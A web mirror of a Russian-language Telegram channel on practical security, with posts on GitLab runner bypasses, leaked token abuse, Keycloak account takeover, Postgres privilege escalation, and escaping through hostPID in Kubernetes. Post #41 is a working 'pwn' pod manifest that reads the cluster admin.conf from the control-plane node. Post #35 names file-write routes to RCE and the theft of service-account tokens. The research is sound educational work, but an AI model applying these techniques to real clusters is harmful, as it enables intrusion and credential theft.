TGViewer
Channel Public Channel
Нарыл

Нарыл

@naryl_sec

Канал о практической информационной безопасности. Автор - https://t.me/sorokinpf
Subscribers
1.49K
Photos
6
Videos
0
Links
26
Recent Posts 20 shown
Post #55 3.52K
Gitlab pre_build_script. Part 2

Так что же делать чтобы after_script не выполнялся после падения pre_build_script?

Можно, например, дергать из скрипта гитлабовскую апишку и канцелить джобу.

Но можно поступить проще, если разобраться как раннер запускает джобы внутри (все нижеперечисленное я изучал для k8s-раннера, полагаю что верно и для docker-раннеров тоже).

Тут важны два факта. Первый - для запуска любых скриптов раннер сначала находит подходящий шелл с помощью файла скрипта detect_shell_script, который находится в папке /scripts-$CI_PROJECT_ID-$CI_JOB_ID. Соответственно если его перезаписать например на exit 1, то никакие другие скрипты точно не запустятся, в том числе after_script.

Но если сделать только это, то джоба в интерфейсе гитлаба зависнет. А также и контейнер в котором она запущена и все это будет убито только по таймауту.

Второй факт - оказалось, что гитлаб получает информацию о статусе джобы по записям в файл /logs-$CI_PROJECT_ID-$CI_JOB_ID/output.log. Если в этот файл вписать специальные json-строки, означающие на языке гитлаба завершение выполнения скриптов, то Gitlab воспримет джобу как завершенную, отобразит падение джобы в интерфейсе и остановит контейнеры джобы.

Итого, такой кусок скрипта можно использовать в pre_build_script, в случае если проверки безопасности не пройдены и джоба должна упасть.


echo 'exit 1' > /script*/detect*
echo '{"command_exit_code": 1, "script": "/scripts-$CI_PROJECT_ID-$CI_JOB_ID/step_script"}' >> /logs*/output.log
echo '{"command_exit_code": 1, "script": "/scripts-$CI_PROJECT_ID-$CI_JOB_ID/after_script"}' >> /logs*/output.log
exit 1
  • 🔥 6
  • 🥰 3
  • ❤ 2
  • 👍 2
  • 😁 1
  • 😢 1
Post #54 3.28K
Gitlab pre_build_script

Иногда есть необходимость дополнительно защитить Gitlab Runner. Например, если на нем имеются дополнетильные credentials, если он имеет особые сетевые доступы и т.д.

Способы защиты могут быть тоже разные:
- проверка того что тот кто запустил джобу входит в белый список
- проверка подписи коммитов
- проверка целостности джобы
- и т.д.

Для реализации такой защиты может применяться параметр раннера - pre_build_script. В этом параметре можно указать скрипт, который выполнится ДО запуска любого из блоков before_script/script/after_script из пайплайна (.gitlab-ci.yml).

Идея защиты такая - если проверка не пройдена, то pre_build_script возвращает код, отличный от 0 и фейлит джобу. А блоки before_script, script, after_script, которые контролирует недоверенный пользователь гитлаба не выполняются.

Не выполняются ведь? Да?

НЕТ!

before_script и script действительно не выполняются. А вот after_script выполняется все равно, вне зависимости от того что вернул pre_build_script
.

Такой вот простой байпас.
  • 🔥 7
  • 😢 3
  • 👍 1
Post #53 2.92K
OFFZONE_CYBERED_SPECIAL - промокод на скидку на воркшопы OFFZONE (не только мой)
  • 👍 6
Post #52 2.65K

Forwarded from OFFZONE

🔧 Воркшоп «Ломаем CI/CD 2.0»

На воркшопе вы изучите работу с секретами в CI/CD и научитесь обходить защиты раннеров от PPE.

Что в программе:

➡️ Секреты в CI/CD: GitLab variables / vault.
➡️ Интеграция Vault с GitLab и проблемы в ней.
➡️ Интеграция Vault с K8s и проблемы в ней.
➡️ Защита раннеров от PPE и способы ее обхода.

Что потребуется:

➡️ docker,
➡️ kubectl,
➡️ vault (cli).

Когда: 23 августа, 14:30–17:30.

Сложность: medium.

Продолжительность: 3 часа.

Тренер: Павел Сорокин, tech lead, Singleton Security.

Важно: без билета на конференцию попасть на воркшоп не получится.

Мест осталось не так много, успевайте!

Подробнее
  • 🔥 6
  • ❤ 2
  • 👎 2
Post #51 2.29K
Второй год подряд буду проводить воркшоп на Offzone.
  • 🔥 3
  • ❤ 1
  • 👍 1
Post #49 8.21K
Есть такая общеизвестная проблема когда делаешь non-root в k8s: контейнерам нужно биндить порты до 1024, что по умолчанию в Linux запрещено.

Лично по-моему само по себе такое ограничение - архитектурная ошибка в Linux, которая привела к куче проблем и сложностей: сервису, например nginx, нужно стартовать от рута, забиндить порт, а потом дропнуть лишние привилегии. Что уже само по себе звучит не безопасно и разумеется приводило к множеству LPE. А профит с точки зрения ИБ крайне сомнительный. Может быть он был когда на одном сервере одновременно крутился важный сайт на 80 порту и еще сидели руками какие-то непривилегированные пользователи, но сейчас это кажется бесполезным чуть более чем полностью (попробуйте меня переубедить :D)

Параметр ядра net.ipv4.ip_unprivileged_port_start позволяет управлять этим поведением в Linux. Если его установить в значение 0, то любому пользователю будет доступен биндинг любых портов. Параметр net.ipv4.ip_unprivileged_port_start относится к сетевому неймспейсу и у каждого контейнера свой.

При внедрении non-root можно добавлять securityContext.sysctls (net.ipv4.ip_unprivileged_port_start=0) в манифесты, но это требует модификации всех манифестов.

И вот я тут обнаружил что есть другой путь - в конфиге containerd есть опция enable_unprivileged_ports, которая устанавливает net.ipv4.ip_unprivileged_port_start в 0 для всех создаваемых контейнеров.

Другими словами можно поменять один параметр на всех нодах и не возиться с манифестами.
  • 🔥 28
  • 👍 6
  • 👎 3
  • ❤ 2
  • 🤯 2
Post #48 3.11K
Мой бывший коллега классно развил тему о которой я рассказывал в прошлом году на БЕКОН. Там шла речь о том чтобы при наличии доступа к docker API socket нельзя было поднять привилегии и залезать в чужие контейнеры. Но было ограничение - доступ к собственным контейнерам также сильно ограничивался.

Улучшенный подход он описал в статье на хабре. Теперь с помощью плагина https://github.com/I-am-Roman/docker-auth-plugin можно реализовать уже почти полноценную авторизацию - доступ к своим контейнерам остается, а вот к тем, которые запущены другими пользователями уже не добраться.

Ссылки на старые посты в канале по теме на БЕКОН: раз и два.
  • 👏 7
  • ❤ 3
  • 🤔 1
Post #47 3.1K
Kyverno resourseFilters

Если разворачивать kyverno с помощью values.yaml по умолчанию, то в них окажется интересный параметр resourceFilters

Этот параметр добавляет в исключения Enforce политик kyverno некоторую часть ресурсов, среди которых хочется отметить почти первые три строчки. Они говорят о том что все yaml в неймспейсах:
- kube-system
- kube-public
- kube-node-lease
НЕ будут валидироваться.
Также в исключения попадает очень многое в неймспейсе, где развренута kyverno.

То есть, если атакующий смог получить доступ к кредам, которые позволяют создавать ворклоады в любых неймспейсах, то он сможет сделать BadPod, даже если baseline kyverno-политики раскатаны на кластере. Ну и многое другое, ради чего заводится policy engine может быть байпаснуто.

При этом Background-режим kyverno работает вне зависимости от resourceFilters, никакие ресурсы не пропускаются, что может сбивать с толку.

Об этом и о причинах таких параметров по умолчанию (надежное восстановление кластера/kyverno) прямо сказано в самом конце раздела документации Installation->Security vs Operability, надеюсь, что все до туда дочитывают...
  • 🔥 11
  • 👍 1
Post #44 3.57K
  • 🔥 5
Post #43 3.45K
Gitlab Access Tokens

Gitlab позволяет создавать токены доступа для групп, проектов или персональные для пользователей.

Если нам достался такой токен (например, нашли в репозитории), то встает вопрос - а что же именно с этим токеном можно делать?

Для этого можно использовать запрос:

curl --header "PRIVATE-TOKEN: token_here" https://gitlab.example.com/api/v4/personal_access_tokens/self


В ответе будет имя токена, идентификатор пользователя, для которого этот токен выписан, а также scopes - права. В примере на картинке токен имеет полный доступ в API, а также может пушить в репозиторий и Gitlab Image Registry. Доступ в API - это довольно высокие права, с таким доступом можно читать доступные Gitlab Variables, запускать пайплайны от имени пользователя и многое другое.

Посмотреть пользователя, для которого выдан токен можно здесь:

curl https://gitlab.example.com/api/v4/users/<user_id>


Если токен выдан для проекта или группы, имя пользователя будет иметь формат (project|group)_<(project|group)_id>_bot_<random_bytes>

В зависимости от проекта/группы/пользователя нам могут быть доступны разные возможности. Вплоть до полноценного административного доступа в Gitlab.

Также при создании токена указывается роль (Developer/Maintainer/Guest/etc), но как узнать роль имея на руках только токен, я не нашел.

P.S. В Gitlab есть префикс для персональных токенов `glpat-`(дока). Можно добавлять в инструменты поиска секретов.
Gitlab Account and limit settings | GitLab Docs Configure the maximum number of projects users can create on GitLab Self-Managed. Configure size limits for attachments, pushes, and repository size.
  • 🔥 9
  • ❤ 1
  • 👍 1
Post #41 3.13K
apiVersion: v1
kind: Pod
metadata:
name: pwn
annotations:
container.apparmor.security.beta.kubernetes.io/pwned: unconfined #disable apparmor
spec:
hostPID: true #root PID namespace
containers:
- name: pwn
image: ubuntu
command: [ "cat", "/proc/1/root/etc/kubernetes/admin.conf" ]
securityContext:
capabilities:
add:
- SYS_PTRACE # SYS_PTRACE to bypass ptrace access mode checks
nodeSelector: # land on master node
node-role.kubernetes.io/control-plane: ''
tolerations: # tolerate control-plane node tains
- key: ""
operator: "Exists"
effect: ""
  • 🔥 5
  • 👍 4
Post #40 2.8K
hostPID: true и --pid=host. Часть 4

Часть 1
Часть 2
Часть 3

Ну и наглядный пример по итогам всего вышесказанного.

Если мы можем создавать поды с:
1) hostPID: true
2) SYS_PTRACE capability
3) отключенным AppArmor

То мы можем запупывнить кластер кубера одним маленьким подом, спецификация которого ниже. Этого достаточно, т.к.:
- Доступ к процессу с PID 1 у нас есть благодаря hostPID:true;
- наличие SYS_PTRACE позволяет обойти обычные проверки ptrace access mode;
- Yama не работает, так как мы запрашиваем всего лишь PTRACE_MODE_READ;
- AppArmor необходимо отключать, так как он не дает доступа в процессы, запущенные под другим профилем.
- nodeSelector и tolerations позволяют выполниться на master-ноде кубера.
  • 👍 2
Post #39 2.87K
hostPID: true и --pid=host. Часть 3

Часть 1
Часть 2

AppArmor

Еще один LSM, участвующий в защите от доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH - AppArmor.

В конфигурации по умолчанию в containerd/docker применяется профиль AppArmor, полученный на основе шаблона. Профиль по умолчанию в containerd называется cri-containerd.apparmor.d, а в docker - docker-default.

Посмотреть имя текущего профиля AppArmor изнутри контейнера можно в файле /proc/self/attr/current

Разрешение для ptrace в шаблоне указано в последней строке:

# suppress ptrace denials when using 'docker ps' or using 'ps' inside a container
ptrace (trace,read,tracedby,readby) peer={{.Name}},


Данная строка означает что можно получать доступ trace (PTRACE_MODE_ATTACH) и read (PTRACE_MODE_READ) только в процессы, запущенные под одноименным профилем AppArmor. Аналогично с входящими запросами в наш процесс на отладку. В комментарии сказано зачем это послабление добавлено - чтобы можно было работать с процессами в рамках одного контейнера. Понятно, что внутри контейнера все процессы под одним профилем.

Но, очевидно, это послабление открывает доступ не только ко всем процессам в контейнере, но и ко всем процессам во всех контейнерах, крутящихся на той же ноде, они все по умолчанию запущены под одним и тем же профилем AppArmor.

Для того чтобы запустить контейнер с отключенным AppArmor нужно в docker добавить к команде run флаг --security-opt=apparmor:unconfined. В kubernetes нужно добавить аннотацию к поду container.apparmor.security.beta.kubernetes.io/<container_name>: unconfined

AppArmor'у плевать на CAP_SYS_PTRACE, поэтому если атакующий может запустить под с hostPID: true и CAP_SYS_PTRACE, но неможет отключить AppArmor - его область атаки - только процессы других контейнеров. Хостовые процессы, запущенные без AppArmor будут ему не доступны.
  • 🔥 5
  • 👍 3
Post #38 2.54K
hostPID: true и --pid=host. Часть 2

Часть 1

Yama

Давайте теперь обсудим что же еще влияет на возможность доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH.

Первый из списка - это Linux Security Module (LSM) Yama (описание Yama). Yama участвует в проверках только если запрашивается доступ уровня PTRACE_MODE_ATTACH, запросы уровня PTRACE_MODE_READ игнорируются модулем Yama.

По умолчанию значение единственного параметра Yama ptrace_scope (cat /proc/sys/kernel/yama/ptrace_scope) установлено в значение 1. Это значит что получить доступ уровня PTRACE_MODE_ATTACH может только процесс, являющийся родителем целевого. В ситуации атакующего, запустившего под с hostPID:true, это разумеется не возможно и Yama эффективно блокирует отладку других процессов хоста или соседних подов.

При наличии capability CAP_SYS_PTRACE проверки модуля Yama игнорируются. Впрочем как и прочие проверки, указанные в первой части.

Таким образом Yama:
- влияет только на PTRACE_MODE_ATTACH (отладку) и не влияет на PTRACE_MODE_READ (чтение /proc/PID/environ, /proc/PID/root и т.д.)
- по умолчанию позволяет получать PTRACE_MODE_ATTACH только к дочерним процессам
- с позиции атакующего для выполнения отладки необходимо либо чтобы ptrace_scope был установлен в 0, либо чтобы была возможность добавить в свой под CAP_SYS_PTRACE
Telegram Нарыл hostPID: true и --pid=host Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно. Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте…
  • 🔥 6
  • 👍 1
Post #35 4.51K
hostPID: true и --pid=host

Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.

Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте разбираться.

Во-первых, можно делать ps и посмотреть список процессов с параметрами командных строк.

Во-вторых, можно обращаться к файловой системе /proc/PID/* других процессов. Тут неочевидный момент - при доступе к интересным файлам, например к /proc/PID/environ (содержащим весь environment процесса), ОС проверяет ptrace access mode. Подробно эта проверка описана в конце мана ptrace .

Выпишу основное.
Есть два уровня доступа:
- менее привилегированный PTRACE_MODE_READ
- более привилегированный PTRACE_MODE_ATTACH

Полный список файлов в /proc/PID/ с указанием того какой уровень доступа к ним требуется перечислен в мане proc

Базовая проверка для обоих уровней доступа на уровне ОС делается примерно одинаково, основное:
- наборы UID и GID запрашивающего и целевого процесса должны совпадать
- набор permitted capabilities целевого процесса должен быть подмножеством набора effective capabilities запрашивающего процесса
- наличие у запрашивающего процесса CAP_SYS_PTRACE позволяет обойти указанные выше ограничения

Также в проверке могут участвовать LSM, например apparmor и yama (последний работает только для PTRACE_MODE_ATTACH), но это мы рассмотрим в следующем посте. CAP_SYS_PTRACE тоже рассмотрим отдельно, с ним тоже есть тонкости.

А вот что мы можем делать если у нас нет CAP_SYS_PTRACE? Так вот, немного утрируя мы можем получить доступ уровня PTRACE_MODE_READ во все контейнеры, запущенные с таким же набором capabilities, как и наш, или более узким, а также они должны быть запущены под тем же UID. Но это ведь обычная история в kubernetes/docker, там все контейнеры/поды как правило стартуют с одним и тем же набором capabilities и зачастую от одинакового пользователя (ниже считаем что это root).

Из интересного можно читать /proc/PID/environ, но даже не это самое прикольное. Под PTRACE_MODE_READ также подпадают /proc/PID/root и /proc/PID/cwd. C их помощью мы можем попасть в файловую систему целевого контейнера. И если мы root, то мы в ней можем не только читать но и писать туда! И это без CAP_SYS_PTRACE и с apparmor/yama запущенными по умолчанию!

А значит мы можем:
1) читать SA-токены из других подов /proc/PID/root/var/run/secrets/kubernetes.io/serviceaccount/token
2) попытаться добиться RCE в другом поде путем записи в /etc/ld.so.preload, /root/.ssh/authorized_keys, /etc/crontab и т.д. и т.п.
  • 🔥 9
  • 👍 1
Post #34 6.57K
Postgres Privilege Escalation

Тут неожиданно выстрелила старая тема с повышение в Postgres, напомню о ней.

В Postgres функция может быть определена с двумя типами исполнения SECURITY INVOKER (по умолчанию) и SECURITY DEFINER. Функции первого типа выполняются с правами текущего пользователя, вторые же выполняются с правами того, кто создал функцию. По сути аналог SUID бита.

Также в Postgres есть конфигурация search_path, она определяет в каком порядке Postgres обходит имеющиеся схемы в поиске функций и операторов, если схема не указана явна.

И если при определении функции с SECURITY DEFINER не указан также search_path, применяемый внутри этой функции, то атакующий с низкими правами может переопределить функцию или оператор, который применяется в функции с SECURITY DEFINER, что приведет к выполнению его функции или оператора с правами создателя функции. Если это пользователь postgres, то можно получить права SUPERUSER или добавить себе право исполнения команд ОС pg_execute_server_program.

Подробнее с примерами по ссылке

На мой взгляд практически полная аналогия с классическим повышением привилегий в Linux, когда приложение с SUID битом, делает что-то типа system("cat file"), при этом не сбрасывая переменную PATH.
CYBERTEC PostgreSQL | Services & Support Abusing SECURITY DEFINER functions in PostgreSQL UPDATED Aug. 2023: How SECURITY DEFINER PostgreSQL functions can be abused for privilege escalation attacks and how you can protect yorself.
  • 👍 6
Post #33 2.84K
Post #32 3.74K
По умолчанию в Keycloak пользователям по адресу http://keycloak/realms/<realm_name>/account доступен довольно аскетичный интерфейс личного кабинета (на скриншоте).

В этом маленьком кабинете можно сменить себе в том числе email.

И это - проблема безопасности! Если клиент OIDC/OAuth, подключенный к Keycloak, завязывает своих пользователей не на поле preferred_username из токена, а на email, то его можно обмануть.

Ставим себе чужой email, перезаходим в клиента и получаем права другого пользователя.

Надо только учитывать что если требуемый email уже активен у одного из пользователей в Keycloak, то установить его себе не получится. Однако можно:
1) Устанавливать себе email недавно уволенных или по другим причинам удаленных из keycloak сотрудников, возможно они будут активны в клиенте.
2) Устанавливать себе email системных учеток, которые есть в клиентах, например, в клиенте может быть встроенная учетка администратора с email вбитом "от балды", вроде admin@company.com.

Один из возможных способов защиты при использовании LDAP как User Federation - установить Edit Mode в значение READ_ONLY.
  • 👍 8
  • 🔥 4
  • 😱 3
Post #31 5.03K
Gitlab раннеры "аутентифицируются" в gitlab с помощью специальных токенов. Токены хранятся в конфиге раннеров и по ним gitlab понимает какой именно раннер пришел за задачей.

А теперь представим что этот токен каким-то образом утек. Что тогда может сделать атакующий?

Очевидная идея - отправить gitlab токен и сказать что мы - это тот самый раннер. Ну и попытаться получить себе джобы, которые шедулятся gitlab'ом на оригинальный раннер, вместе со всеми переменными среды, артефактами, gitlab variables и т.д.

Я решил это проверить: достал токен с работающего раннера, и чтобы не разбираться в протоколах gitlab установил на другой сервер gitlab-runner и прописал ему этот токен.

Оказалось что в такой конфигурации, когда одновременно два раннера работают с одним токеном, джоба может попасть в любой из них. Из моих экспериментов следует, что джобу получит тот раннер, который первый придет в gitlab за задачей.

За частоту походов раннера за новыми задачами в gitlab отвечает параметр в конфиге раннера check_interval, это целочисленный параметр в секундах, по умолчанию 3. Если атакующий укажет в конфигурации своего раннера check_interval=1, то он будет получать задачи в среднем в 3 раза чаще чем оригинальный раннер.

Чтобы увеличить вероятность получения джобы на свой поддельный раннер атакующий может определить сразу много (допустим N) одинаковых "логических" раннеров в конфигурационном файле gitlab-runner, тогда раннер будет ходить за задачами в gitlab каждые check_interval/N секунд.

Подробнее про то как работает check_interval в доке
  • 👍 19
  • 🔥 5
Older posts →

About this channel

How can I read @naryl_sec without a Telegram account?
TGViewer shows the public web preview Telegram publishes for Нарыл: recent posts, photos, videos and the subscriber count, with no app, login or account.
How many subscribers does Нарыл have?
Нарыл (@naryl_sec) has 1.49K subscribers on Telegram, refreshed roughly every 30 minutes.
Does Нарыл know I viewed it here?
No. Public channel previews carry no viewer identity, and TGViewer has no accounts or tracking of what you look up.
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →